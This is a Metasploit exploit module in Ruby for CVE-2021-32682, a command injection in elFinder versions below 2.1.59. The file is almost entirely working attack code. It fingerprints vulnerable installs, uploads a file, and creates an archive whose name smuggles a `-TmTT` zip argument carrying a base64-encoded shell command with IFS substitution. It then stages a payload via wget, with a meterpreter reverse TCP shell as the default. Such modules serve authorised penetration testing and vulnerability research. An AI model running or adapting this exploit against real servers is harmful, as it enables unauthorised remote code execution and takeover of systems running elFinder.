## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'elFinder Archive Command Injection', 'Description' => %q{ elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the `name` parameter is sanitized with the `escapeshellarg()` php function and then passed to the `zip` utility. Despite the sanitization, supplying the `-TmTT` argument as part of the `name` parameter is still permitted and enables the execution of arbitrary commands as the `www-data` user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Thomas Chauchefoin', # Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'CVE', '2021-32682' ], [ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ] ], 'Platform' => [ 'linux' ], 'Privileged' => false, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Automatic Target', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => [ 'wget' ], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2021-06-13', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => upload_uri ) return CheckCode::Unknown('Failed to retrieve a response') unless res return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]') vprint_status('Attempting to check the changelog for elFinder version') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Changelog') ) unless res return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog') end # * elFinder (2.1.58) vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/) if vers_str.nil? || vers_str.length <= 1 return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version') end version_found = Rex::Version.new(vers_str[1]) if version_found < Rex::Version.new('2.1.59') return CheckCode::Appears("elFinder running version #{vers_str[1]}") end CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable") end def upload_uri normalize_uri(target_uri.path, 'php', 'connector.minimal.php') end def upload_successful?(response) unless response print_bad('Did not receive a response from elFinder') return false end if response.code != 200 || response.body.include?('error') print_bad("Request failed: #{response.body}") return false end unless response.body.include?('added') print_bad("Failed to add new file: #{response.body}") return false end json = JSON.parse(response.body) if json['added'].empty? return false end true end alias archive_successful? upload_successful? def upload_txt_file(file_name) file_data = Rex::Text.rand_text_alpha(8..20) data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="cmd"') data.add_part('l1_Lw', nil, nil, 'form-data; name="target"') data.add_part(file_data, 'text/plain', nil, "form-data; name=\"upload[]\"; filename=\"#{file_name}\"") print_status("Uploading file #{file_name} to elFinder") send_request_cgi( 'method' => 'POST', 'uri' => upload_uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) end def create_archive(archive_name, *files_to_archive) files_to_archive = files_to_archive.map { |file_name| "l1_#{Rex::Text.encode_base64(file_name)}" } send_request_cgi( 'method' => 'GET', 'uri' => upload_uri, 'encode_params' => false, 'vars_get' => { 'cmd' => 'archive', 'name' => archive_name, 'target' => 'l1_Lw', 'type' => 'application/zip', 'targets[]' => files_to_archive.join('&targets[]=') } ) end def setup_files_for_sploit @txt_file = "#{Rex::Text.rand_text_alpha(5..10)}.txt" res = upload_txt_file(@txt_file) fail_with(Failure::UnexpectedReply, 'Upload was not successful') unless upload_successful?(res) print_good('Text file was successfully uploaded!') @archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip" print_status("Attempting to create archive #{@archive_name}") res = create_archive(@archive_name, @txt_file) fail_with(Failure::UnexpectedReply, 'Archive was not created') unless archive_successful?(res) print_good('Archive was successfully created!') register_files_for_cleanup(@txt_file, @archive_name) end # zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post def execute_command(cmd, _opts = {}) cmd = "echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh" cmd_arg = "-TmTT=\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\"" cmd_arg = cmd_arg.gsub(' ', '${IFS}') create_archive(cmd_arg, @archive_name, @txt_file) end def exploit setup_files_for_sploit execute_cmdstager(noconcat: true, linemax: 150) end end